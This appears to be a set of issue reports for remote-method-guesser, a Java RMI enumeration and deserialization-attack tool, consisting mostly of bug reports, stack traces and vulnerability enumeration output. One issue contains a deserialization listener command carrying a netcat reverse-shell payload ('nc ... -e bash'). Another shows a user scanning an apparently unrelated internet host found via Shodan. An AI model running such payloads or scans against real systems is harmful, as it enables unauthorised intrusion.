[-] Caught unexpected java.rmi.UnmarshalException during list call. [-] Please report this to improve rmg :) [-] StackTrace: java.rmi.UnmarshalException: Transport return code invalid at java.rmi/sun.rmi.transport.StreamRemoteCall.executeCall(StreamRemoteCall.java:246) at java.rmi/sun.rmi.server.UnicastRef.invoke(UnicastRef.java:380) at java.rmi/sun.rmi.registry.RegistryImpl_Stub.list(RegistryImpl_Stub.java:91) at eu.tneitzel.rmg.networking.RMIRegistryEndpoint.getBoundNames(RMIRegistryEndpoint.java:116) at eu.tneitzel.rmg.operations.Dispatcher.obtainBoundNames(Dispatcher.java:84) at eu.tneitzel.rmg.operations.Dispatcher.dispatchEnum(Dispatcher.java:588) at java.base/jdk.internal.reflect.NativeMethodAccessorImpl.invoke0(Native Method) at java.base/jdk.internal.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:62) at java.base/jdk.internal.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43) at java.base/java.lang.reflect.Method.invoke(Method.java:566) at eu.tneitzel.rmg.operations.Operation.invoke(Operation.java:385) at eu.tneitzel.rmg.Starter.main(Starter.java:41) [-] Cannot continue from here.

or

java -jar ./rmg enum TARGET 1099

[-] Caught unexpected java.rmi.UnmarshalException during list call. [-] Please report this to improve rmg :) [-] StackTrace: java.rmi.UnmarshalException: Error unmarshaling return header; nested exception is: java.io.EOFException at java.rmi/sun.rmi.transport.StreamRemoteCall.executeCall(StreamRemoteCall.java:254) at java.rmi/sun.rmi.server.UnicastRef.invoke(UnicastRef.java:380) at java.rmi/sun.rmi.registry.RegistryImpl_Stub.list(RegistryImpl_Stub.java:91) at eu.tneitzel.rmg.networking.RMIRegistryEndpoint.getBoundNames(RMIRegistryEndpoint.java:116) at eu.tneitzel.rmg.operations.Dispatcher.obtainBoundNames(Dispatcher.java:84) at eu.tneitzel.rmg.operations.Dispatcher.dispatchEnum(Dispatcher.java:588) at java.base/jdk.internal.reflect.NativeMethodAccessorImpl.invoke0(Native Method) at java.base/jdk.internal.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:62) at java.base/jdk.internal.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43) at java.base/java.lang.reflect.Method.invoke(Method.java:566) at eu.tneitzel.rmg.operations.Operation.invoke(Operation.java:385) at eu.tneitzel.rmg.Starter.main(Starter.java:41) Caused by: java.io.EOFException at java.base/java.io.DataInputStream.readByte(DataInputStream.java:272) at java.rmi/sun.rmi.transport.StreamRemoteCall.executeCall(StreamRemoteCall.java:240) ... 11 more [-] Cannot continue from here.

Caught unexpected java.lang.NullPointerException during lookup operation.

java -jar target/rmg-4.4.1-jar-with-dependencies.jar enum 192.168.1.10 1099
[-] Caught unexpected java.lang.NullPointerException during lookup operation.
[-] Please report this to improve rmg :)
[-] StackTrace:
java.lang.NullPointerException: Cannot read the array length because "boundNames" is null
	at de.qtc.rmg.networking.RMIRegistryEndpoint.lookup(RMIRegistryEndpoint.java:142)
	at de.qtc.rmg.operations.Dispatcher.obtainBoundObjects(Dispatcher.java:101)
	at de.qtc.rmg.operations.Dispatcher.dispatchEnum(Dispatcher.java:498)
	at java.base/jdk.internal.reflect.NativeMethodAccessorImpl.invoke0(Native Method)
	at java.base/jdk.internal.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:77)
	at java.base/jdk.internal.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43)
	at java.base/java.lang.reflect.Method.invoke(Method.java:568)
	at de.qtc.rmg.operations.Operation.invoke(Operation.java:331)
	at de.qtc.rmg.Starter.main(Starter.java:26)

Incorrect marshalling during method action

Since version v3.1.0, the marshaling behavior of the method action is broken. This was caused by switching the invoke method that is used to actually dispatch the call. Previously, this was already done by using a low level Java RMI call, that is not intended to be called manually. In v3.1.0, we switched to an even more low level Java RMI call, that does no longer handle type marshaling. As rmg did not implement type marshaling manually, this caused an error.

To be more detailed: Method arguments are normally passed as an Object array (Object[]) to these low level RMI functions. The function uses reflection to get the actual method arguments from the desired method and serializes the argument objects accordingly. E.g. when the first argument is an Integer object and the method expects an int, the argument is serialized/marshaled with writeInt instead of writeObject.

rmg since v3.1.0 used writeObject for all kind of arguments, which is obviously a mistake. Therefore, methods that expect primitive types as their arguments are not called correctly and deserialization attacks do not work. The issue is already fixed in dev (v3.2.0), where we introduce additional type hints that need to be passed along with the arguments. These type hints are when used to choose the correct marshaling behavior (This happens of course hidden from the user. Type hints are obtained via reflection from the specified method signature).

As the introduction of type hints forced changes in all components of rmg, we want to write some tests before pushing the fix to master. Therefore, if you need a full functioning method action right now, you should try the dev branch :)

Can't build the plugin

Hello,

I was trying to build the plugin, but the output shows some errors:

command : bash plugins/build.sh target/rmg-4.3.0-jar-with-dependencies.jar plugins/GenericPrint.java GenericPrint.jar

output
Picked up _JAVA_OPTIONS: -Dawt.useSystemAAFontSettings=on -Dswing.aatext=true
plugins/GenericPrint.java:118: error: RemoteObjectWrapper is abstract; cannot be instantiated
RemoteObjectWrapper liveRef = new RemoteObjectWrapper(o);
^
plugins/GenericPrint.java:126: error: cannot find symbol
if(liveRef.csf != null)
^
symbol: variable csf
location: variable liveRef of type RemoteObjectWrapper
plugins/GenericPrint.java:127: error: cannot find symbol
csf = liveRef.csf.getClass().getName();
^
symbol: variable csf
location: variable liveRef of type RemoteObjectWrapper
plugins/GenericPrint.java:129: error: cannot find symbol
if(liveRef.ssf != null)
^
symbol: variable ssf
location: variable liveRef of type RemoteObjectWrapper
plugins/GenericPrint.java:130: error: cannot find symbol
ssf = liveRef.ssf.getClass().getName();
^
symbol: variable ssf
location: variable liveRef of type RemoteObjectWrapper
plugins/GenericPrint.java:133: error: cannot find symbol
Logger.printlnMixedBlue("Endpoint:\t\t", liveRef.getTarget());
^
symbol: method getTarget()
location: variable liveRef of type RemoteObjectWrapper
plugins/GenericPrint.java:134: error: cannot find symbol
Logger.printlnMixedBlue("ObjID:\t\t\t", liveRef.objID.toString());
^
symbol: variable objID
location: variable liveRef of type RemoteObjectWrapper
7 errors


I'm not a javatar, so I found it hard to fix

Issue on release 4.x

Hi ! I have the following issue on the 4.x releases,

(root💀icestorm)-[~/tools/rmi/remote-method-guesser]# java -jar ../rmg-4.2.2-jar-with-dependencies.jar enum host0 1098  
[-] Caught unexpected java.lang.ClassCastException during lookup operation.
[-] Please report this to improve rmg :)
[-] StackTrace:
java.lang.ClassCastException: class sun.rmi.server.ActivatableRef cannot be cast to class sun.rmi.server.UnicastRef (sun.rmi.server.ActivatableRef and sun.rmi.server.UnicastRef are in module java.rmi of loader 'bootstrap')
        at de.qtc.rmg.utils.RemoteObjectWrapper.<init>(RemoteObjectWrapper.java:80)
        at de.qtc.rmg.networking.RMIRegistryEndpoint.lookup(RMIRegistryEndpoint.java:142)
        at de.qtc.rmg.operations.Dispatcher.obtainBoundObjects(Dispatcher.java:91)
        at de.qtc.rmg.operations.Dispatcher.dispatchEnum(Dispatcher.java:484)
        at java.base/jdk.internal.reflect.NativeMethodAccessorImpl.invoke0(Native Method)
        at java.base/jdk.internal.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:62)
        at java.base/jdk.internal.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43)
        at java.base/java.lang.reflect.Method.invoke(Method.java:566)
        at de.qtc.rmg.operations.Operation.invoke(Operation.java:319)
        at de.qtc.rmg.Starter.main(Starter.java:26)
[-] Cannot continue from here.
                                                                                                                                                                                                                                                                                         
(root💀icestorm)-[~/tools/rmi/remote-method-guesser]# java -version                                                                                                                                                                                                                  1 ⨯
openjdk version "11.0.14" 2022-01-18
OpenJDK Runtime Environment (build 11.0.14+9-post-Debian-1)
OpenJDK 64-Bit Server VM (build 11.0.14+9-post-Debian-1, mixed mode, sharing)

The same command using 3.2.2 or any of the other 3.x version will work without problem.

JEP290 not installed vulnerable?

Hi, I am testing a system with an open Java RMI port and the enumeration reveals that JEP290 is vulnerable, yet RMG says it is not installed. Is this exploitable with RMG somehow or should I move on?

[+] RMI server JEP290 enumeration:
[+]
[+] - DGC accepted deserialization of java.util.HashMap (JEP290 is not installed).
[+] Vulnerability Status: Vulnerable

Bad certificate

Hello,

One more issue if there is time to resolve :)

The request seem to failing with an alert for bad_certificate

root@system:~/tools/rmi/remote-method-guesser# java2 -jar rmg-4.4.0-jar-with-dependencies.jar guess  system 1099
[+] Reading method candidates from internal wordlist rmg.txt
[+] 	752 methods were successfully parsed.
[+] Reading method candidates from internal wordlist rmiscout.txt
[+] 	2550 methods were successfully parsed.
[+]
[+] Starting Method Guessing on 3281 method signature(s).
[+]
[+] 	MethodGuesser is running:
[+] 		--------------------------------
[-] 		Caught unexpected java.rmi.ConnectIOException during method call.
[-] 		Please report this to improve rmg :)
[-] 		StackTrace:
java.rmi.ConnectIOException: error during JRMP connection establishment; nested exception is: 
	javax.net.ssl.SSLHandshakeException: Received fatal alert: bad_certificate
	at sun.rmi.transport.tcp.TCPChannel.createConnection(TCPChannel.java:307)
	at sun.rmi.transport.tcp.TCPChannel.newConnection(TCPChannel.java:202)
	at sun.rmi.server.UnicastRef.newCall(UnicastRef.java:343)
	at de.qtc.rmg.networking.RMIEndpoint.guessingCall(RMIEndpoint.java:153)
	at de.qtc.rmg.operations.RemoteObjectClient.guessingCall(RemoteObjectClient.java:312)
	at de.qtc.rmg.operations.MethodGuesser$GuessingWorker.run(MethodGuesser.java:335)
	at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1149)
	at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624)
	at java.lang.Thread.run(Thread.java:750)
Caused by: javax.net.ssl.SSLHandshakeException: Received fatal alert: bad_certificate
	at sun.security.ssl.Alert.createSSLException(Alert.java:131)
	at sun.security.ssl.Alert.createSSLException(Alert.java:117)
	at sun.security.ssl.TransportContext.fatal(TransportContext.java:311)
	at sun.security.ssl.Alert$AlertConsumer.consume(Alert.java:293)
	at sun.security.ssl.TransportContext.dispatch(TransportContext.java:185)
	at sun.security.ssl.SSLTransport.decode(SSLTransport.java:152)
	at sun.security.ssl.SSLSocketImpl.decode(SSLSocketImpl.java:1392)
	at sun.security.ssl.SSLSocketImpl.readHandshakeRecord(SSLSocketImpl.java:1300)
	at sun.security.ssl.SSLSocketImpl.startHandshake(SSLSocketImpl.java:435)
	at sun.security.ssl.SSLSocketImpl.ensureNegotiated(SSLSocketImpl.java:813)
	at sun.security.ssl.SSLSocketImpl.access$200(SSLSocketImpl.java:73)
	at sun.security.ssl.SSLSocketImpl$AppOutputStream.write(SSLSocketImpl.java:1175)
	at java.io.BufferedOutputStream.flushBuffer(BufferedOutputStream.java:82)
	at java.io.BufferedOutputStream.flush(BufferedOutputStream.java:140)
	at java.io.DataOutputStream.flush(DataOutputStream.java:123)
	at sun.rmi.transport.tcp.TCPChannel.createConnection(TCPChannel.java:229)
	... 8 more
[-] 		Cannot continue from here.
[-] 		Caught unexpected java.rmi.ConnectIOException during method call.
[-] 		Please report this to improve rmg :)
[-] 		StackTrace:
java.rmi.ConnectIOException: error during JRMP connection establishment; nested exception is: 
	javax.net.ssl.SSLHandshakeException: Received fatal alert: bad_certificate
	at sun.rmi.transport.tcp.TCPChannel.createConnection(TCPChannel.java:307)
	at sun.rmi.transport.tcp.TCPChannel.newConnection(TCPChannel.java:202)
	at sun.rmi.server.UnicastRef.newCall(UnicastRef.java:343)
	at de.qtc.rmg.networking.RMIEndpoint.guessingCall(RMIEndpoint.java:153)
	at de.qtc.rmg.operations.RemoteObjectClient.guessingCall(RemoteObjectClient.java:312)
	at de.qtc.rmg.operations.MethodGuesser$GuessingWorker.run(MethodGuesser.java:335)
	at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1149)
	at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624)
	at java.lang.Thread.run(Thread.java:750)
Caused by: javax.net.ssl.SSLHandshakeException: Received fatal alert: bad_certificate
	at sun.security.ssl.Alert.createSSLException(Alert.java:131)
	at sun.security.ssl.Alert.createSSLException(Alert.java:117)
	at sun.security.ssl.TransportContext.fatal(TransportContext.java:311)
	at sun.security.ssl.Alert$AlertConsumer.consume(Alert.java:293)
	at sun.security.ssl.TransportContext.dispatch(TransportContext.java:185)
	at sun.security.ssl.SSLTransport.decode(SSLTransport.java:152)
	at sun.security.ssl.SSLSocketImpl.decode(SSLSocketImpl.java:1392)
	at sun.security.ssl.SSLSocketImpl.readHandshakeRecord(SSLSocketImpl.java:1300)
	at sun.security.ssl.SSLSocketImpl.startHandshake(SSLSocketImpl.java:435)
	at sun.security.ssl.SSLSocketImpl.ensureNegotiated(SSLSocketImpl.java:813)
	at sun.security.ssl.SSLSocketImpl.access$200(SSLSocketImpl.java:73)
	at sun.security.ssl.SSLSocketImpl$AppOutputStream.write(SSLSocketImpl.java:1175)
	at java.io.BufferedOutputStream.flushBuffer(BufferedOutputStream.java:82)
	at java.io.BufferedOutputStream.flush(BufferedOutputStream.java:140)
	at java.io.DataOutputStream.flush(DataOutputStream.java:123)
	at sun.rmi.transport.tcp.TCPChannel.createConnection(TCPChannel.java:229)
	... 8 more
[-] 		Cannot continue from here.
[-] 		Caught unexpected java.rmi.ConnectIOException during method call.
[-] 		Caught unexpected java.rmi.ConnectIOException during method call.
[-] 		Please report this to improve rmg :)
[-] 		Please report this to improve rmg :)
[-] 		StackTrace:
[-] 		StackTrace:
java.rmi.ConnectIOException: error during JRMP connection establishment; nested exception is: 
	javax.net.ssl.SSLHandshakeException: Received fatal alert: bad_certificate
	at sun.rmi.transport.tcp.TCPChannel.createConnection(TCPChannel.java:307)
	at sun.rmi.transport.tcp.TCPChannel.newConnection(TCPChannel.java:202)
	at sun.rmi.server.UnicastRef.newCall(UnicastRef.java:343)
	at de.qtc.rmg.networking.RMIEndpoint.guessingCall(RMIEndpoint.java:153)
	at de.qtc.rmg.operations.RemoteObjectClient.guessingCall(RemoteObjectClient.java:312)
	at de.qtc.rmg.operations.MethodGuesser$GuessingWorker.run(MethodGuesser.java:335)
	at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1149)
	at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624)
	at java.lang.Thread.run(Thread.java:750)
Caused by: javax.net.ssl.SSLHandshakeException: Received fatal alert: bad_certificate
	at sun.security.ssl.Alert.createSSLException(Alert.java:131)
	at sun.security.ssl.Alert.createSSLException(Alert.java:117)
	at sun.security.ssl.TransportContext.fatal(TransportContext.java:311)
	at sun.security.ssl.Alert$AlertConsumer.consume(Alert.java:293)
	at sun.security.ssl.TransportContext.dispatch(TransportContext.java:185)
	at sun.security.ssl.SSLTransport.decode(SSLTransport.java:152)
	at sun.security.ssl.SSLSocketImpl.decode(SSLSocketImpl.java:1392)
	at sun.security.ssl.SSLSocketImpl.readHandshakeRecord(SSLSocketImpl.java:1300)
	at sun.security.ssl.SSLSocketImpl.startHandshake(SSLSocketImpl.java:435)
	at sun.security.ssl.SSLSocketImpl.ensureNegotiated(SSLSocketImpl.java:813)
	at sun.security.ssl.SSLSocketImpl.access$200(SSLSocketImpl.java:73)
	at sun.security.ssl.SSLSocketImpl$AppOutputStream.write(SSLSocketImpl.java:1175)
	at java.io.BufferedOutputStream.flushBuffer(BufferedOutputStream.java:82)
	at java.io.BufferedOutputStream.flush(BufferedOutputStream.java:140)
	at java.io.DataOutputStream.flush(DataOutputStream.java:123)
	at sun.rmi.transport.tcp.TCPChannel.createConnection(TCPChannel.java:229)
	... 8 more
[-] 		Cannot continue from here.
java.rmi.ConnectIOException: error during JRMP connection establishment; nested exception is: 
	javax.net.ssl.SSLException: readHandshakeRecord
	at sun.rmi.transport.tcp.TCPChannel.createConnection(TCPChannel.java:307)
	at sun.rmi.transport.tcp.TCPChannel.newConnection(TCPChannel.java:202)
	at sun.rmi.server.UnicastRef.newCall(UnicastRef.java:343)
	at de.qtc.rmg.networking.RMIEndpoint.guessingCall(RMIEndpoint.java:153)
	at de.qtc.rmg.operations.RemoteObjectClient.guessingCall(RemoteObjectClient.java:312)
	at de.qtc.rmg.operations.MethodGuesser$GuessingWorker.run(MethodGuesser.java:335)
	at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1149)
	at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624)
	at java.lang.Thread.run(Thread.java:750)
Caused by: javax.net.ssl.SSLException: readHandshakeRecord
	at sun.security.ssl.SSLSocketImpl.readHandshakeRecord(SSLSocketImpl.java:1309)
	at sun.security.ssl.SSLSocketImpl.startHandshake(SSLSocketImpl.java:435)
	at sun.security.ssl.SSLSocketImpl.ensureNegotiated(SSLSocketImpl.java:813)
	at sun.security.ssl.SSLSocketImpl.access$200(SSLSocketImpl.java:73)
	at sun.security.ssl.SSLSocketImpl$AppOutputStream.write(SSLSocketImpl.java:1175)
	at java.io.BufferedOutputStream.flushBuffer(BufferedOutputStream.java:82)
	at java.io.BufferedOutputStream.flush(BufferedOutputStream.java:140)

Enum is able to retrieve information,

root@system:~/tools/rmi/remote-method-guesser# java2 -jar rmg-4.3.1-jar-with-dependencies.jar enum system 1099 
[+] RMI registry bound names:
[+]
[+] 	- HPDM Server RMI
[+] 		--> com.hp.hpdm.interf.ServiceInterf (unknown class)
[+] 		    Endpoint: system:40002  TLS: yes  ObjID: [-52a5d3ef:18782b753bf:-7fff, 2349307879934226592]
[+]
[+] RMI server codebase enumeration:
[+]
[+] 	- The remote server does not expose any codebases.
[+]
[+] RMI server String unmarshalling enumeration:
[+]
[+] 	- Server complained that object cannot be casted to java.lang.String.
[+] 	  --> The type java.lang.String is unmarshalled via readString().
[+] 	  Configuration Status: Current Default
[+]
[+] RMI server useCodebaseOnly enumeration:
[+]
[+] 	- RMI registry uses readString() for unmarshalling java.lang.String.
[+] 	  This prevents useCodebaseOnly enumeration from remote.
[+]
[+] RMI registry localhost bypass enumeration (CVE-2019-2684):
[+]
[+] 	- Registry rejected unbind call cause it was not send from localhost.
[+] 	  Vulnerability Status: Non Vulnerable
[+]
[+] RMI Security Manager enumeration:
[+]
[+] 	- Caught Exception containing 'no security manager' during RMI call.
[+] 	  --> The server does not use a Security Manager.
[+] 	  Configuration Status: Current Default
[+]
[+] RMI server JEP290 enumeration:
[+]
[+] 	- DGC rejected deserialization of java.util.HashMap (JEP290 is installed).
[+] 	  Vulnerability Status: Non Vulnerable
[+]
[+] RMI registry JEP290 bypass enumeration:
[+]
[+] 	- RMI registry uses readString() for unmarshalling java.lang.String.
[+] 	  This prevents JEP 290 bypass enumeration from remote.
[+]
[+] RMI ActivationSystem enumeration:
[+]
[+] 	- Caught NoSuchObjectException during activate call (activator not present).
[+] 	  Configuration Status: Current Default

Thank you for the great work!

Regards,
Nicolas

Getting error

java -jar rmg-4.4.0-jar-with-dependencies.jar enum 10.x.x.x 11333

[-] Caught unexpected java.lang.reflect.InaccessibleObjectException during lookup call.
[-] Please report this to improve rmg :)
[-] StackTrace:
java.lang.reflect.InaccessibleObjectException: Unable to make protected final java.lang.Class java.lang.ClassLoader.defineClass(java.lang.String,byte[],int,int,java.security.ProtectionDomain) throws java.lang.ClassFormatError accessible: module java.base does not "opens java.lang" to unnamed module @4015e7ec
at java.base/java.lang.reflect.AccessibleObject.checkCanSetAccessible(AccessibleObject.java:354)
at java.base/java.lang.reflect.AccessibleObject.checkCanSetAccessible(AccessibleObject.java:297)
at java.base/java.lang.reflect.Method.checkCanSetAccessible(Method.java:199)
at java.base/java.lang.reflect.Method.setAccessible(Method.java:193)
at javassist.util.proxy.SecurityActions.setAccessible(SecurityActions.java:159)
at javassist.util.proxy.DefineClassHelper$JavaOther.defineClass(DefineClassHelper.java:213)
at javassist.util.proxy.DefineClassHelper$Java11.defineClass(DefineClassHelper.java:52)
at javassist.util.proxy.DefineClassHelper.toClass(DefineClassHelper.java:260)
at javassist.ClassPool.toClass(ClassPool.java:1240)
at javassist.ClassPool.toClass(ClassPool.java:1098)
at javassist.ClassPool.toClass(ClassPool.java:1056)
at javassist.CtClass.toClass(CtClass.java:1298)
at de.qtc.rmg.utils.RMGUtils.makeInterface(RMGUtils.java:109)
at de.qtc.rmg.utils.RMGUtils.makeLegacyStub(RMGUtils.java:140)
at de.qtc.rmg.internal.CodebaseCollector.loadClass(CodebaseCollector.java:97)
at java.rmi/java.rmi.server.RMIClassLoader.loadClass(RMIClassLoader.java:265)
at java.rmi/sun.rmi.server.MarshalInputStream.resolveClass(MarshalInputStream.java:199)
at java.base/java.io.ObjectInputStream.readNonProxyDesc(ObjectInputStream.java:2034)
at java.base/java.io.ObjectInputStream.readClassDesc(ObjectInputStream.java:1898)
at java.base/java.io.ObjectInputStream.readOrdinaryObject(ObjectInputStream.java:2224)
at java.base/java.io.ObjectInputStream.readObject0(ObjectInputStream.java:1733)
at java.base/java.io.ObjectInputStream.readObject(ObjectInputStream.java:509)
at java.base/java.io.ObjectInputStream.readObject(ObjectInputStream.java:467)
at java.rmi/sun.rmi.registry.RegistryImpl_Stub.lookup(RegistryImpl_Stub.java:127)
at de.qtc.rmg.networking.RMIRegistryEndpoint.lookup(RMIRegistryEndpoint.java:165)
at de.qtc.rmg.networking.RMIRegistryEndpoint.lookup(RMIRegistryEndpoint.java:145)
at de.qtc.rmg.operations.Dispatcher.obtainBoundObjects(Dispatcher.java:101)
at de.qtc.rmg.operations.Dispatcher.dispatchEnum(Dispatcher.java:498)
at java.base/jdk.internal.reflect.NativeMethodAccessorImpl.invoke0(Native Method)
at java.base/jdk.internal.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:77)
at java.base/jdk.internal.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43)
at java.base/java.lang.reflect.Method.invoke(Method.java:568)
at de.qtc.rmg.operations.Operation.invoke(Operation.java:331)
at de.qtc.rmg.Starter.main(Starter.java:26)
[-] Cannot continue from here.

Scan Not detecting RMi

Hey,

I was testing this tool out but everytime i chose a rmi from shodan on port 1099 scan never detected it.

java -jar rmg-5.0.0-jar-with-dependencies.jar scan 195.187.71.22
[+] Scanning 112 Ports on xxx.xxx.xxx.xx for RMI services.
[+]
[+] 	[224 / 224] [#############################] 100%
[+]
[+] Portscan finished.
(base) $ nc xxx.xxx.xxxx 1099
��srjava.rmi.MarshalledObject|���c�>IhashlocBytest[BobjBytesq~xp�Yu
                                                                   ur[B��T�xp+��thttp://xx.xx.xx.xx:8083/q~q~uq~Ĭ�sr org.jnp.server.NamingServer_Stubxrjava.rmi.server.RemoteStub���ɋ�exrjava.rmi.server.RemoteObject�a��
                                                                                                                                                                                                                           a3xpw8
�~���񊬿�x

are the example servers affacted by the recent Log4j Vulnerabilities?

Hi

I really appreciate the efforts you have put into the tool and the GREAT BH presentation!!

After I enjoyed your video few times and I downloaded the 2 example servers for practicing the vulnerabilities exploited by your rmg tool.

My question is: are the example servers affected by the recent three Log4j vulnerabilities? For example, when connecting to the rmg server example (non-SSRF) through J console and entering malicious payload into the username/password field, would it trigger log4j library? or the docker container does not have it?

Danke

listen cmd issues with space

hey there,
thanks for this tool, first of all.

It seems that it has a bug with the listen option when using command with spaces:

mg listen 192.168.23.12 6535 CommonsCollections6 'nc 192.168.23.11  6536 -e bash'
usage: remote-method-guesser listen [-h] [--config path] [--verbose] [--plugin path] [--no-color] [--stack-trace] [--yso yso-path] ip port gadget cmd
remote-method-guesser: error: unrecognized arguments: '192.168.23.11  6536 -e bash'

By using the oldschool ${IFS} as a space, it seems to work with rmg, but not sure if the delivered cmd will contain the spaces.
version: rmg-4.2.2-jar-with-dependencies.jar

Best,
Douglas

RMG not present after /successful/ install

After what appeared to be a successful install using mvn package from the remote-method-guesser directory, the command rmg -h does not load the expected help menu on Kali. I checked the installation logs to see if the command has changed, but it doesn't appear to it should have.

Is Kali 2023.4 no longer supported?

--yso error flag

Hello!

I was attempting to use the ysoserial jar file for attempting a filter-bypass scan, but the output shows that --yso is not a recognized flag:

└─$ java -jar rmg-4.3.0-jar-with-dependencies.jar enum 192.168.202.168 8686 --scan-action filter-bypass --yso ysososerial-master-8eb5cbfbf6-1.jar
Picked up _JAVA_OPTIONS: -Dawt.useSystemAAFontSettings=on -Dswing.aatext=true
usage: remote-method-guesser enum [-h] [--config path] [--verbose] [--no-color] [--stack-trace] [--bound-name name] [--follow] [--ssl] [--gopher] [--ssrf] [--ssrf-response hex] [--encode] [--raw] [--stream-protocol]
[--localhost-bypass] [--scan-action action [action ...]] [--activate] [--force-activation] [--dgc-method method] [--registry-method method] host port
remote-method-guesser: error: unrecognized arguments: '--yso'

Did you mean:
--ssl

Is there a work around to use the ysoserial jar with that scan attempt?

rmg different responses based on version

Hello,

One more item, as per instructions :)

root@system~/tools/rmi/remote-method-guesser# java -jar rmg-4.3.1-jar-with-dependencies.jar enum  ip 20931 
[-] Caught unexpected java.rmi.UnmarshalException during lookup call.
[-] Please report this to improve rmg :)
[-] StackTrace:
java.rmi.UnmarshalException: error unmarshalling return; nested exception is: 
	java.io.InvalidClassException: com.progress.nameserver.NameServer_Stub; local class incompatible: stream classdesc serialVersionUID = 2633885168842881102, local class serialVersionUID = 2
	at java.rmi/sun.rmi.registry.RegistryImpl_Stub.lookup(RegistryImpl_Stub.java:130)
	at de.qtc.rmg.networking.RMIRegistryEndpoint.lookup(RMIRegistryEndpoint.java:160)
	at de.qtc.rmg.networking.RMIRegistryEndpoint.lookup(RMIRegistryEndpoint.java:140)
	at de.qtc.rmg.operations.Dispatcher.obtainBoundObjects(Dispatcher.java:92)
	at de.qtc.rmg.operations.Dispatcher.dispatchEnum(Dispatcher.java:484)
	at java.base/jdk.internal.reflect.NativeMethodAccessorImpl.invoke0(Native Method)
	at java.base/jdk.internal.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:62)
	at java.base/jdk.internal.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43)
	at java.base/java.lang.reflect.Method.invoke(Method.java:566)
	at de.qtc.rmg.operations.Operation.invoke(Operation.java:325)
	at de.qtc.rmg.Starter.main(Starter.java:26)
Caused by: java.io.InvalidClassException: com.progress.nameserver.NameServer_Stub; local class incompatible: stream classdesc serialVersionUID = 2633885168842881102, local class serialVersionUID = 2
	at java.base/java.io.ObjectStreamClass.initNonProxy(ObjectStreamClass.java:689)
	at java.base/java.io.ObjectInputStream.readNonProxyDesc(ObjectInputStream.java:2014)
	at java.base/java.io.ObjectInputStream.readClassDesc(ObjectInputStream.java:1864)
	at java.base/java.io.ObjectInputStream.readOrdinaryObject(ObjectInputStream.java:2195)
	at java.base/java.io.ObjectInputStream.readObject0(ObjectInputStream.java:1681)
	at java.base/java.io.ObjectInputStream.readObject(ObjectInputStream.java:493)
	at java.base/java.io.ObjectInputStream.readObject(ObjectInputStream.java:451)
	at java.rmi/sun.rmi.registry.RegistryImpl_Stub.lookup(RegistryImpl_Stub.java:127)
	... 10 more
[-] Cannot continue from here.

Whilst older version will work:

root@server:~/tools/rmi/remote-method-guesser# java -jar rmg-3.2.0-jar-with-dependencies.jar  ip 20931 enum
[+] RMI registry bound names:
[+] 
[+] 	- etst5080
[+] 		--> com.progress.ubroker.broker.ubListenerThread_Stub (unknown class)
[+] 	- ws_ebis_data5080
[+] 		--> com.progress.ubroker.broker.ubListenerThread_Stub (unknown class)
[+] 	- ws_ebis_dataTest5080
[+] 		--> com.progress.ubroker.broker.ubListenerThread_Stub (unknown class)
[+] 	- AppSrvLive80
[+] 		--> com.progress.ubroker.broker.ubListenerThread_Stub (unknown class)
[+] 	- eliv5080
[+] 		--> com.progress.ubroker.broker.ubListenerThread_Stub (unknown class)
[+] 	- AppSrvTest80
[+] 		--> com.progress.ubroker.broker.ubListenerThread_Stub (unknown class)
[+] 	- NS1
[+] 		--> com.progress.nameserver.NameServer_Stub (unknown class)
[+] 	- Chimera
[+] 		--> com.progress.chimera.adminserver.AdminServer_Stub (unknown class)
[+] 
[+] RMI server codebase enumeration:
[+] 
[+] 	- The remote server does not expose any codebases.
[+] 
[+] RMI server String unmarshalling enumeration:
[+] 
[+] 	- Caught ClassNotFoundException during lookup call.
[+] 	  --> The type java.lang.String is unmarshalled via readObject().
[+] 	  Configuration Status: Outdated
[+] 
[+] RMI server useCodebaseOnly enumeration:
[+] 
[+] 	- Caught MalformedURLException during lookup call.
[+] 	  --> The server attempted to parse the provided codebase (useCodebaseOnly=false).
[+] 	  Configuration Status: Non Default
[+] 
[+] RMI registry localhost bypass enumeration (CVE-2019-2684):
[+] 
[-] 	- Registry rejected unbind call cause it was not send from localhost.
[+] 	  Vulnerability Status: Non Vulnerable
[+] 
[+] RMI DGC enumeration:
[+] 
[+] 	- Caught MalformedURLException during clean call.
[+] 	  --> The DGC attempted to parse the provided codebase (useCodebaseOnly=false).
[+] 	  Configuration Status: Non Default
[+] 
[+] RMI server JEP290 enumeration:
[+] 
[+] 	- DGC accepted deserialization of java.util.HashMap (JEP290 is not installed).
[+] 	  Vulnerability Status: Vulnerable
[+] 
[+] RMI registry JEP290 bypass enmeration:
[+] 
[+] 	- Caught IllegalArgumentException after sending An Trinh gadget.
[+] 	  Vulnerability Status: Vulnerable
[+] 
[+] RMI ActivationSystem enumeration:
[+] 
[+] 	- Caught NoSuchObjectException during activate call (activator not present).
[+] 	  Configuration Status: Current Default

If you need more information or data that I can provide please tell me the way and I'll try to upload them.

Regards,
Nicolas

Handling SelfSigned and other SSL errors

Hello,

I hope all is well, I have one issue where rmg will create an error whilst trying to connect to the SSL port. The error comes due to the certificate.

